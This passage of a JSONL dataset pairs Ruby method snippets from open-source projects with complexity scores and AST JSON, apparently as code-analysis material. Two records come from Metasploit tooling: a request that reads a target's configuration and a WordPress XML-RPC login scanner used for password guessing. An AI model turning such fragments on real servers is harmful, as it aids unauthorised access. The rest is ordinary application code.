end","complexity_score":30.18,"ast_json":"{\"type\":\"def\",\"children\":[\"get_config_option\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Origin\"]},{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"service\"]},{\"type\":\"str\",\"children\":[\"direct/1/ConfigEditor/quickFindForm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sp\"]},{\"type\":\"str\",\"children\":[\"S0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Form0\"]},{\"type\":\"str\",\"children\":[\"$TextField,doQuickFind,clear\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"$TextField\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"doQuickFind\"]},{\"type\":\"str\",\"children\":[\"Go\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"td\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//td[@class='propertyNameColumnValue']\"]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"td\"]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"td\"]},\"text\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value_input\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//input[@name='$TextField$0']\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_input\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]}]}","id":"febbca14-7be8-4f7d-9022-42e19740551d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/struct_inheritance.rb","start_line":59,"raw_source":"def correct_parent(parent, corrector)\n          if parent.block_type?\n            corrector.remove(range_with_surrounding_space(parent.loc.end, newlines: false))\n          elsif (class_node = parent.parent).body.nil?\n            corrector.remove(range_for_empty_class_body(class_node, parent))\n          else\n            corrector.insert_after(parent, ' do')\n          end\n        end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"correct_parent\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"block_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"range_with_surrounding_space\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"loc\"]},\"end\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"newlines\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"class_node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"parent\"]}]}]},\"body\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"range_for_empty_class_body\",{\"type\":\"lvar\",\"children\":[\"class_node\"]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_after\",{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"str\",\"children\":[\" do\"]}]}]}]}]}","id":"a05ac5dd-13f5-407c-a168-6693106ff94e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_schedule_worker/runner.rb","start_line":21,"raw_source":"def dst?\n    Time.now.dst?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dst?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"dst?\"]}]}","id":"b78c2353-e652-4cc9-8443-4de90f208830"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/role.rb","start_line":106,"raw_source":"def permissions\n    # prefer map over pluck as we will probably always load\n    # the permissions anyway\n    role_permissions.map { |perm| perm.permission.to_sym }\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"permissions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role_permissions\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"perm\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"perm\"]},\"permission\"]},\"to_sym\"]}]}]}","id":"bfd55f3c-23ec-4548-8dad-688dc40d36a0"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/basic_category_serializer.rb","start_line":57,"raw_source":"def description_excerpt\n    if object.uncategorized?\n      I18n.t(\"category.uncategorized_description\", locale: SiteSetting.default_locale)\n    else\n      object.description_excerpt\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"description_excerpt\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"uncategorized?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"category.uncategorized_description\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_locale\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"description_excerpt\"]}]}]}","id":"146c0f0e-d088-46cb-b15f-02c9084f6dbb"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/discourse_id/register.rb","start_line":101,"raw_source":"def discourse_id_url\n    @url ||= SiteSetting.discourse_id_provider_url.presence || \"https://id.discourse.com\"\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"discourse_id_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@url\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"discourse_id_provider_url\"]},\"presence\"]},{\"type\":\"str\",\"children\":[\"https://id.discourse.com\"]}]}]}]}","id":"2ac158d2-b21b-418b-94f8-5ee87c2e72d6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20190726175042_add_case_insensitive_index_to_tags.rb","start_line":6,"raw_source":"def up\n    Tag.connection.select_all('SELECT string_agg(id::text, \\',\\') AS ids FROM tags GROUP BY lower(name) HAVING count(*) > 1').to_ary.each do |row|\n      canonical_tag_id  = row['ids'].split(',').first\n      redundant_tag_ids = row['ids'].split(',')[1..]\n\n      safety_assured do\n        execute <<~SQL.squish\n          UPDATE accounts_tags\n          AS t0\n          SET tag_id = #{canonical_tag_id}\n          WHERE\n            tag_id IN (#{redundant_tag_ids.join(', ')})\n            AND NOT EXISTS (SELECT t1.tag_id FROM accounts_tags AS t1 WHERE t1.tag_id = #{canonical_tag_id} AND t1.account_id = t0.account_id)\n        SQL\n\n        execute <<~SQL.squish\n          UPDATE statuses_tags\n          AS t0\n          SET tag_id = #{canonical_tag_id}\n          WHERE\n            tag_id IN (#{redundant_tag_ids.join(', ')})\n            AND NOT EXISTS (SELECT t1.tag_id FROM statuses_tags AS t1 WHERE t1.tag_id = #{canonical_tag_id} AND t1.status_id = t0.status_id)\n        SQL\n\n        execute <<~SQL.squish\n          UPDATE featured_tags\n            AS t0\n            SET tag_id = #{canonical_tag_id}\n            WHERE\n              tag_id IN (#{redundant_tag_ids.join(', ')})\n              AND NOT EXISTS (SELECT t1.tag_id FROM featured_tags AS t1 WHERE t1.tag_id = #{canonical_tag_id} AND t1.account_id = t0.account_id)\n        SQL\n      end\n\n      Tag.where(id: redundant_tag_ids).in_batches.delete_all\n    end\n\n    begin\n      safety_assured { execute 'CREATE UNIQUE INDEX CONCURRENTLY index_tags_on_name_lower ON tags (lower(name))' }\n    rescue ActiveRecord::StatementInvalid\n      remove_index :tags, name: 'index_tags_on_name_lower'\n      raise\n    end\n\n    remove_index :tags, name: 'index_tags_on_name'\n    remove_index :tags, name: 'hashtag_search_index'\n  end","complexity_score":46.95,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"connection\"]},\"select_all\",{\"type\":\"str\",\"children\":[\"SELECT string_agg(id::text, ',') AS ids FROM tags GROUP BY lower(name) HAVING count(*) > 1\"]}]},\"to_ary\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"canonical_tag_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ids\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"redundant_tag_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ids\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},null]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE accounts_tags\\n\"]},{\"type\":\"str\",\"children\":[\"AS t0\\n\"]},{\"type\":\"str\",\"children\":[\"SET tag_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"canonical_tag_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"  tag_id IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redundant_tag_ids\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"  AND NOT EXISTS (SELECT t1.tag_id FROM accounts_tags AS t1 WHERE t1.tag_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"canonical_tag_id\"]}]},{\"type\":\"str\",\"children\":[\" AND t1.account_id = t0.account_id)\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE statuses_tags\\n\"]},{\"type\":\"str\",\"children\":[\"AS t0\\n\"]},{\"type\":\"str\",\"children\":[\"SET tag_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"canonical_tag_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"  tag_id IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redundant_tag_ids\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"  AND NOT EXISTS (SELECT t1.tag_id FROM statuses_tags AS t1 WHERE t1.tag_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"canonical_tag_id\"]}]},{\"type\":\"str\",\"children\":[\" AND t1.status_id = t0.status_id)\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE featured_tags\\n\"]},{\"type\":\"str\",\"children\":[\"  AS t0\\n\"]},{\"type\":\"str\",\"children\":[\"  SET tag_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"canonical_tag_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"    tag_id IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redundant_tag_ids\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"    AND NOT EXISTS (SELECT t1.tag_id FROM featured_tags AS t1 WHERE t1.tag_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"canonical_tag_id\"]}]},{\"type\":\"str\",\"children\":[\" AND t1.account_id = t0.account_id)\\n\"]}]},\"squish\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"redundant_tag_ids\"]}]}]}]},\"in_batches\"]},\"delete_all\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"CREATE UNIQUE INDEX CONCURRENTLY index_tags_on_name_lower ON tags (lower(name))\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StatementInvalid\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_tags_on_name_lower\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_tags_on_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"hashtag_search_index\"]}]}]}]}]}]}","id":"c20166ab-00a7-4255-b0ca-c3bbc1796fba"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/wordpress_multicall.rb","start_line":86,"raw_source":"def send_wp_request(xml)\n          opts =\n            {\n              'method'  => 'POST',\n              'uri'     => normalize_uri(\"#{base_uri}/#{wordpress_url_xmlrpc}\"),\n              'data'    => xml,\n              'ctype'   =>'text/xml'\n            }\n\n          res  = send_request(opts)\n\n          if res && res.code != 200\n            sleep(block_wait * 60)\n          end\n\n          @res = res\n        end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_wp_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_uri\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wordpress_url_xmlrpc\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"xml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"text/xml\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_wait\"]},\"*\",{\"type\":\"int\",\"children\":[60]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@res\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"8c6654de-71e9-4ca1-9ac7-919f47175c96"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/settings/repository_controller.rb","start_line":88,"raw_source":"def define_variables\n        @deploy_keys = DeployKeysPresenter.new(@project, current_user: current_user)\n\n        define_deploy_token_variables\n        tag_names\n        branch_names\n        define_protected_refs\n        remote_mirror\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"define_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@deploy_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeployKeysPresenter\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"define_deploy_token_variables\"]},{\"type\":\"send\",\"children\":[null,\"tag_names\"]},{\"type\":\"send\",\"children\":[null,\"branch_names\"]},{\"type\":\"send\",\"children\":[null,\"define_protected_refs\"]},{\"type\":\"send\",\"children\":[null,\"remote_mirror\"]}]}]}","id":"a5fa12a6-73fd-434a-b93d-4d1554796c34"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/status/threading_concern.rb","start_line":7,"raw_source":"def permitted_statuses_from_ids(ids, account, stable: false)\n      statuses    = Status.with_accounts(ids).to_a\n      account_ids = statuses.map(&:account_id).uniq\n      domains     = statuses.filter_map(&:account_domain).uniq\n      relations   = account&.relations_map(account_ids, domains) || {}\n\n      statuses.reject! { |status| StatusFilter.new(status, account, relations).filtered? }\n\n      if stable\n        statuses.sort_by! { |status| ids.index(status.id) }\n      else\n        statuses\n      end\n    end","complexity_score":25.7,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_statuses_from_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ids\"]},{\"type\":\"arg\",\"children\":[\"account\"]},{\"type\":\"kwoptarg\",\"children\":[\"stable\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"statuses\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"with_accounts\",{\"type\":\"lvar\",\"children\":[\"ids\"]}]},\"to_a\"]}]},{\"type\":\"lvasgn\",\"children\":[\"account_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"statuses\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]}]}]},\"uniq\"]}]},{\"type\":\"lvasgn\",\"children\":[\"domains\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"statuses\"]},\"filter_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_domain\"]}]}]},\"uniq\"]}]},{\"type\":\"lvasgn\",\"children\":[\"relations\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"relations_map\",{\"type\":\"lvar\",\"children\":[\"account_ids\"]},{\"type\":\"lvar\",\"children\":[\"domains\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"statuses\"]},\"reject!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StatusFilter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"account\"]},{\"type\":\"lvar\",\"children\":[\"relations\"]}]},\"filtered?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stable\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"statuses\"]},\"sort_by!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"statuses\"]}]}]}]}","id":"e2eb0e76-214b-4011-b550-aa565e0d5c13"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/cascaded_eager_loading_test.rb","start_line":179,"raw_source":"def test_eager_association_loading_with_missing_first_record\n    posts = Post.where(id: 3).preload(author: { comments: :post }).to_a\n    assert_equal 1, posts.size\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_association_loading_with_missing_first_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[3]}]}]}]},\"preload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"sym\",\"children\":[\"post\"]}]}]}]}]}]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"size\"]}]}]}]}","id":"6480b9d4-dffd-43b2-97ae-6d0c490713d8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/javascript_fixtures_helpers.rb","start_line":94,"raw_source":"def parse_html(fixture)\n    if respond_to?(:use_full_html) && use_full_html\n      Nokogiri::HTML::Document.parse(fixture)\n    else\n      Nokogiri::HTML::DocumentFragment.parse(fixture)\n    end\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_html\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fixture\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"use_full_html\"]}]},{\"type\":\"send\",\"children\":[null,\"use_full_html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML\"]},\"Document\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"fixture\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML\"]},\"DocumentFragment\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"fixture\"]}]}]}]}","id":"2a5944c1-6d92-4ce2-bb0b-52352e6e4e9f"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/error_logger.rb","start_line":61,"raw_source":"def title(options={})\n      text = options[:text]\n      req = options[:req]\n      error = options[:error]\n\n      string_block = [\"#{Time.now}\"]\n      string_block << \" #{text}\" if text\n      string_block << \" (#{request_title(req)})\" if request_parsed?(req)\n      string_block << \": #{error.inspect}\" if error\n      string_block.join('')\n    